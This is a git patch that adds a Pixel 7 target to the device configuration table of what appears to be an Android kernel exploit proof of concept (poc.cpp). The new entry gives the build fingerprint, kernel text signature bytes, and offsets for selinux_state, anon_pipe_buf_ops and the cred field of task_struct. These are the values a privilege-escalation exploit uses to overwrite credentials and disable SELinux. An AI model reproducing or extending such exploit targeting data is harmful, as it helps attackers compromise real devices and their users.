From aa21e439d4edf2efa27f50cd458737694a47b241 Mon Sep 17 00:00:00 2001 From: Marcel Date: Thu, 14 Mar 2024 16:47:30 +0100 Subject: [PATCH] Add Pixel 7 config. --- poc.cpp | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/poc.cpp b/poc.cpp index 71eb2b6..67aef1d 100644 --- a/poc.cpp +++ b/poc.cpp @@ -128,6 +128,20 @@ struct device_config dev_conf[] = { 0x00000000000004c8, /* offsetof task_struct->tasks */ __page_to_virt, __virt_to_page + }, + + [3] = { /* Pixel 7 */ + "google/panther/panther:14/UP1A.231105.003/11010452:user/release-keys", + 0xD10203FFD503233F, /* 1st 8 bytes of _stext */ + 0xA9027BFDF800865E, /* 2nd 8 bytes of _stext */ + 0x00000000031308d0, /* kthread_task sym_off */ + 0x0000000003185970, /* selinux_state sym_off */ + 0x000000000236cd28, /* anon_pipe_buf_ops sym_off */ + 0x0000000000000780, /* offsetof task_struct->cred */ + 0x00000000000005c8, /* offsetof task_struct->pid */ + 0x00000000000004c8, /* offsetof task_struct->tasks */ + __page_to_virt, + __virt_to_page } };